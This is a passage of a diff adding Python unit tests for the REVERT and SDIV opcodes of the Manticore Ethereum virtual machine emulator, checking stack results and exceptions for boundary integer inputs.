+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_REVERT_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfd'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_REVERT_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfd'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_REVERT_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfd'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_REVERT_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfd'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_REVERT_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfd'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_REVERT_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfd'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_REVERT_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfd'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_REVERT_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfd'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_REVERT_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfd'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'REVERT')
+            self.assertEqual(new_vm.stack, [])
+
+
+    def test_REVERT_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfd'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMSDIV.py b/tests/EVM/test_EVMSDIV.py
new file mode 100644
index 0000000..5f94a10
--- /dev/null
+++ b/tests/EVM/test_EVMSDIV.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_SDIV(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_SDIV_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SDIV_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SDIV_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819984L])
+
+    def test_SDIV_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338673L])
+
+    def test_SDIV_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920L])
+
+    def test_SDIV_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639904L])
+
+    def test_SDIV_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639888L])
+
+    def test_SDIV_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921024L])
+
+    def test_SDIV_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SDIV_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SDIV_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SDIV_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SDIV_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SDIV_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SDIV_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SDIV_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SDIV_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SDIV_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SDIV_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SDIV_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
